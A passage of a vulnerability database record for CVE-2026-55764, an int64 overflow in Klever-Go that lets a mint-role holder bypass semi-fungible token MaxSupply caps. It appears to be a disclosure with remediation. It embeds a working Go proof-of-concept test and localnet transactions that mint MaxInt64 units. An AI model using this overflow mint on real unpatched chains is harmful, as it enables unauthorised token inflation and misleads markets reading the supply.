{"id":"CVE-2026-55764","aliases":["EUVD-2026-68012","GHSA-mrpp-v6pg-p54x","GO-2026-6330","SUSE-SU-2026:23692-1","SUSE-SU-2026:23712-1","openSUSE-SU-2026:21812-1"],"status":"published","title":"Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00538,"percentile":0.45563,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190"],"published":"2026-08-28T22:08:27Z","modified":"2026-10-28T02:30:26Z","fixes":[{"ecosystem":"Go","package":"github.com/klever-io/klever-go","fixed_in":["1.7.19"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.7.19"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.19"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.7.19"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39}],"products":[{"vendor":"klever-io","product":"klever-go"}],"references":[{"url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-mrpp-v6pg-p54x","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/klever-io/klever-go/releases/tag/v1.7.19","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-mrpp-v6pg-p54x"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55764.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55764","tags":["advisory"]},{"url":"https://github.com/klever-io/klever-go","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623692-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-20909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-22547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24690","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26247","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26307","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27878","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28705","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54754","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54755","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55065","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55066","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55067","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55108","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55484","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55588","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55761","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55784","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55785","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623712-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55764","title":"Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T22:08:27.196Z","modified":"2026-08-31T18:24:52.989Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-68012","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T22:08:27Z","modified":"2026-08-31T18:24:52Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:20.215322Z"}],"ghsa":[{"id":"GHSA-mrpp-v6pg-p54x","title":"klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","description":"## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation \u003e meta.MaxSupply \u0026\u0026 meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative \u003e MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue \u003c= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003esystemAccount\u003c/code\u003e package, passes = bug confirmed)\u003c/summary\u003e\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := \u0026marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := \u0026commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := \u0026commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := \u0026systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(\u0026commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation \u003e meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 \u003e 1000, no overflow -\u003e ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 \u003e cap 1000) -\u003e err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, after.Circulation,\n\t\t\"BUG: Circulation must have overflowed to a negative value\")\n\n\t// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.\n\t// Computed via non-constant vars so the deliberate overflow happens at runtime\n\t// (a constant expression would be rejected by the compiler).\n\tcirc := startCirculation\n\tamt := overflowAmount\n\texpectedWrap := circ + amt // intentional int64 overflow at runtime\n\trequire.Equal(t, expectedWrap, after.Circulation)\n\n\tt.Logf(\"CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); \"+\n\t\t\"a real mint would have credited ~%d tokens with no matching debit.\",\n\t\tmaxSupply, after.Circulation, overflowAmount)\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nSFT `F05-2SDF` was created with nonce 1 capped at `MaxSupply = 1000` (the setup mint of `amount = 1` succeeds\nnormally). An `AssetTrigger Mint` of `amount = 9223372036854775807` (`MaxInt64`) for `F05-2SDF/1`, sent to a fresh\nreceiver, returned **`resultCode Ok`** with a `Transfer` receipt minting `MaxInt64` from the protocol mint address —\nno `MaxSupplyExceeded`, despite the declared cap of 1000. (Sending the same amount to an account that already held\nnonce-1 units instead trips the *balance* overflow guard with `RC 37`, confirming the unguarded counter is\nspecifically `SFTAddCirculation`, reached only when the receiver's balance add does not itself overflow.)\n\n\u003cdetails\u003e\u003csummary\u003eSetup mint — nonce 1 minted normally with \u003ccode\u003eamount=1\u003c/code\u003e (hash \u003ccode\u003e21e8059e…b55aad1a\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a\",\n    \"blockNum\": 463,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 1\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF\",\n                \"toAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                \"amount\": 1\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eExploit — \u003ccode\u003eMaxInt64\u003c/code\u003e add-quantity to a fresh receiver, result \u003ccode\u003eOk\u003c/code\u003e, cap 1000 bypassed (hash \u003ccode\u003e8aff40fa…2e1c981e\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e\",\n    \"blockNum\": 484,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F05-2SDF/1\",\n            \"assetType\": \"SemiFungible\",\n            \"from\": \"klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 9223372036854775807\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 11,\n            \"typeString\": \"AssetTriggerContractType\",\n            \"parameter\": {\n                \"triggerType\": \"Mint\",\n                \"assetId\": \"F05-2SDF/1\",\n                \"toAddress\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                \"amount\": 9223372036854775807\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\n1. In `SFTAddCirculation`, add a post-increment overflow guard before the cap check (e.g.\n   `if meta.Circulation \u003c 0 { return ErrSupplyNotValid }`, matching the fungible `MintedValue \u003c= 0` pattern), or\n   check `amount` against `MaxSupply - Circulation` with overflow-safe arithmetic.\n2. Consensus-affecting → gate behind the next activation flag.","status":"published","published":"2026-08-28T22:08:56Z","modified":"2026-08-28T22:08:56Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:41:08.084849Z"}],"nvd":[{"id":"CVE-2026-55764","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T23:17:07.22Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55764","title":"Klever-Go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, Klever-Go allows a mint-role holder to bypass a finite per-nonce MaxSupply on the semi-fungible token add-quantity path. In core/kapp/systemAccount/systemAcount.go, SFTAddCirculation performed meta.Circulation += amount before evaluating whether Circulation exceeded MaxSupply, without checking for signed int64 overflow. A large positive raw Amount supplied through processSemiFungibleAddQuantity in core/kapp/kda/mint.go can wrap Circulation negative, causing the signed maximum-supply comparison to pass and crediting approximately MaxInt64 units while corrupting the on-chain counter. The fungible path is not affected because its MintedValue \u003c= 0 guard detects the overflow. The correction uses the consensus activation flag FixMarketBuyOverflow. This issue is fixed in version 1.7.19.","status":"published","published":"2026-08-28T22:08:27.196Z","modified":"2026-10-28T02:30:26.255614446Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-190"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-mrpp-v6pg-p54x","title":"klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply","description":"## Summary\nOn the SFT add-quantity path the only supply bound is `SFTAddCirculation`, which does\n`meta.Circulation += amount` with **no overflow guard**, then checks\n`if meta.Circulation \u003e meta.MaxSupply \u0026\u0026 meta.MaxSupply != 0`. If `amount` overflows `int64` and wraps\n**negative**, `negative \u003e MaxSupply` is false, the cap check passes, the function returns `nil`, and the balance\ncredit stands. A nonce created with a finite `MaxSupply` (e.g. 1000) can thus be minted to ~`MaxInt64` tokens in\none transaction. The fungible mint path is **not** vulnerable — it has a post-increment `MintedValue \u003c= 0` guard\nthat the SFT path lacks.\n\n## Affected code\n- `core/kapp/systemAccount/systemAcount.go:132-138` (`SFTAddCirculation`, the unguarded `+=`).\n- Caller: `core/kapp/kda/mint.go:247-283` (`processSemiFungibleAddQuantity`); contrast guard `mint.go:289`.\n\n## Impact\nA mint-role holder mints ~9.2e18 units of a nonce whose declared `MaxSupply` is small, with no authorized debit,\nand corrupts the on-chain `Circulation` counter to a negative value (misleading any market/indexer that reads it).\n\n## Reachability\nMint-role holder (asset owner or an address granted the role). The mint `Amount` is a raw `int64` from the\ncontract with no upstream upper bound.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_SFTCirculationOverflowBypassesCap` creates a nonce capped at `MaxSupply = 1000`, seeds\n`Circulation = 5`, then calls `SFTAddCirculation(MaxInt64)`. The call returns `nil` (cap bypassed) and `Circulation`\nwraps to `-9223372036854775804`; a normal over-cap amount (`2000`) is correctly rejected with\n`ErrMaxSupplyExceeded` and does not persist — isolating the unguarded `+=` overflow as the bypass.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003esystemAccount\u003c/code\u003e package, passes = bug confirmed)\u003c/summary\u003e\n\n```go\npackage systemAccount\n\nimport (\n\t\"math\"\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common\"\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\t\"github.com/klever-io/klever-go/tools/marshal\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {\n\tt.Helper()\n\n\tmarshalizer := \u0026marshal.ProtoMarshalizer{}\n\tstore := make(map[string][]byte)\n\n\ttracker := \u0026commonMock.DataTrieTrackerStub{\n\t\tRetrieveValueCalled: func(key []byte) ([]byte, error) {\n\t\t\treturn store[string(key)], nil\n\t\t},\n\t\tSaveKeyValueCalled: func(key []byte, value []byte) error {\n\t\t\tstore[string(key)] = value\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tkappAccount := \u0026commonMock.KAppAccountHandlerStub{\n\t\tDataTrieTrackerCalled: func() state.DataTrieTracker {\n\t\t\treturn tracker\n\t\t},\n\t}\n\n\ts := \u0026systemAccountKApp{marshalizer: marshalizer}\n\trequire.NoError(t, s.SetAccountsCacher(\u0026commonMock.AccountsCacherStub{\n\t\tLoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {\n\t\t\treturn kappAccount, nil\n\t\t},\n\t}))\n\n\treturn s, store\n}\n\nfunc readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {\n\tt.Helper()\n\tmeta, err := s.SFTGetMeta(asset, nonce)\n\trequire.NoError(t, err)\n\trequire.NotNil(t, meta)\n\treturn meta\n}\n\n// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation\n// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded\n// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation\n// overflows int64 and wraps negative, so the signed cap check\n// `meta.Circulation \u003e meta.MaxSupply` reads false and the function returns nil:\n// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far\n// past the declared cap.\nfunc TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {\n\tasset := []byte(\"SFTASSET\")\n\tnonce := []byte{0x01}\n\n\tconst maxSupply = int64(1000)\n\tconst startCirculation = int64(5)\n\t// amount is a raw int64 from the contract with no upstream upper bound; the\n\t// largest value it can carry is MaxInt64. With Circulation already at 5,\n\t// 5 + MaxInt64 overflows int64 and wraps negative.\n\tconst overflowAmount = int64(math.MaxInt64) // 9223372036854775807\n\n\t// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---\n\ts, _ := newExploitSystemAccountKApp(t)\n\n\trequire.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte(\"hash\")))\n\t// seed an initial circulation of 5 (well within the cap)\n\trequire.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))\n\n\tbefore := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, maxSupply, before.MaxSupply)\n\trequire.Equal(t, startCirculation, before.Circulation)\n\tt.Logf(\"BEFORE  exploit: MaxSupply=%d Circulation=%d\", before.MaxSupply, before.Circulation)\n\n\t// --- contrast: a normal over-cap amount IS correctly rejected ---\n\t// 5 + 2000 = 2005 \u003e 1000, no overflow -\u003e ErrMaxSupplyExceeded.\n\tcontrastErr := s.SFTAddCirculation(asset, nonce, 2000)\n\trequire.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,\n\t\t\"a non-overflowing over-cap mint must be rejected\")\n\t// the rejected call must NOT have persisted (Circulation unchanged at 5)\n\tafterContrast := readMeta(t, s, asset, nonce)\n\trequire.Equal(t, startCirculation, afterContrast.Circulation,\n\t\t\"rejected over-cap mint must not persist new circulation\")\n\tt.Logf(\"CONTRAST mint amount=2000 (5+2000=2005 \u003e cap 1000) -\u003e err=%v, Circulation stays %d\",\n\t\tcontrastErr, afterContrast.Circulation)\n\n\t// --- the exploit: amount near MaxInt64 overflows Circulation negative ---\n\texploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)\n\n\tafter := readMeta(t, s, asset, nonce)\n\tt.Logf(\"EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d\", overflowAmount, after.MaxSupply)\n\tt.Logf(\"AFTER   exploit: Circulation=%d  err=%v\", after.Circulation, exploitErr)\n\n\t// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded\n\trequire.NoError(t, exploitErr,\n\t\t\"BUG: overflowing mint should have been capped but returned nil (cap bypassed)\")\n\n\t// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000\n\trequire.Negative(t, 